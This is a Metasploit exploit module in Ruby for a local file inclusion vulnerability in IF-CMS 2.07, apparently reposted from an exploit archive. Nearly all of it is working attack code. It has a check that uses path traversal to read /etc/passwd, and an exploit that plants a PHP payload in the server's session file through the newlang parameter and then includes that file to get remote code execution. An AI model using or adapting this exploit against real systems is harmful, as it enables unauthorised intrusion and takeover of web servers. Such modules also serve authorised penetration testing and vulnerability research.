If-CMS 2.07 Local File Inclusion

`##  
# $Id: if-cms.rb 2011-03-15 20:28:10 tecr0c $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
# -*- coding: utf-8 -*-  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IF-CMS',  
'Description' => %q{  
Local File Inclusion vulnerability within IF-CMS 2.07 which allows  
remote attackers to include and execute arbitrary local files via a ../ at the newlang  
parameter within the index.php page.  
},  
'Author' => ['TecR0c'],  
'License' => BSD_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
['URL' => 'http://sourceforge.net/projects/if-cms/'],  
],  
'Payload' =>  
{  
# max header length for Apache (8190),  
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize  
# minus 23 for good luck (and extra spacing)  
'Space' => 8190 - 23,  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => 'find',  
},  
'BadChars' => "'\"`" # quotes are escaped by PHP's magic_quotes_gpc in a default install  
},  
'Targets' => [['If-CMS 2.07', {}]],  
'DefaultTarget' => 0,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'DisclosureDate' => 'March 15 2011'  
))  
  
register_options(  
[  
OptString.new('URI', [true, 'PHP file contains the vulnerable parameter', '/index.php']),  
OptString.new('PATH', [true, 'Path where the php is stored', 'var/lib/php5/sess_!SESSIONID!']),  
], self.class)  
end  
  
def check  
urltotest = datastore['URI'] + "?newlang=" + ("../" * 8) + "etc/passwd%00"  
target_code = 200  
  
print_status "Attempting to POST to #{urltotest}"  
response = send_request_cgi({'uri' => urltotest, 'method' => 'GET'})  
  
unless defined? response  
print_error 'Server did not respond to HTTP GET request'  
return Exploit::CheckCode::Safe  
end  
  
code = response.code  
  
unless code == target_code  
print_error "Expected HTTP code #{target_code}, but got #{code}."  
return Exploit::CheckCode::Safe  
end  
  
print_status "We received the expected HTTP code #{target_code}"  
  
# We will need the cookie PHPSESSID to continue  
cookies = response.headers['Set-Cookie']  
  
# Make sure cookies were set  
if defined? cookies and cookies =~ PHPSESSID_REGEX  
print_status "We successfully sent a PHPSESSID of '#{$1}'"  
else  
print_error 'The server did not send us the cookie we were looking for'  
return Exploit::CheckCode::Safe  
end  
  
# Check to see loca file inclusion is possible  
if response.body =~ /root/  
print_status "We were successfully able to validate gp_magic_quotes = Off"  
return Exploit::CheckCode::Vulnerable  
else  
print_error 'The webserver seems to have gp_magic_quotes On'  
return Exploit::CheckCode::Safe  
end  
  
end  
  
def exploit  
uri = datastore['URI']  
# Prepare PHP file contents  
encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")  
urlpayload = datastore['URI'] + "?newlang=#{encoded_php_file}%00"  
  
# Deliver the payload  
print_status('Writing malicious payload to the remote server')  
delivery_response = send_request_cgi({'uri' => urlpayload})  
  
cookie = delivery_response.headers['Set-Cookie']  
  
# Make sure cookie is set  
if defined? cookie and cookie =~ PHPSESSID_REGEX  
print_status "file containing payload is 'sess_#{$1}'"  
else  
print_error 'The server did not send us the cookie we were looking for'  
return Exploit::CheckCode::Safe  
end  
  
# Make sure cookies were set  
if cookie.nil?  
raise RuntimeError, 'The server did not set any cookies'  
end  
  
# Contents of PHPSESSID. About to be set.  
session_id = nil  
  
# Retrieve the session id from PHPSESSID  
if cookie =~ PHPSESSID_REGEX  
session_id = $1  
else  
raise RuntimeError, 'The cookie PHPSESSID was not set.'  
end  
  
# The call should return HTTP code 200  
if delivery_response.code != 200  
raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"  
end  
  
# Prepare the value that will execute our payload  
detonation = datastore['PATH'].sub('!SESSIONID!', session_id)  
  
# Small delay as we're just going to assume we succeeded.  
urlsession = datastore['URI'] + "?newlang=" + ("../" * 8) + "#{detonation}%00"  
send_request_cgi({'uri' => urlsession,'method' => 'GET'}, 0.01)  
handler  
end  
end  
  
`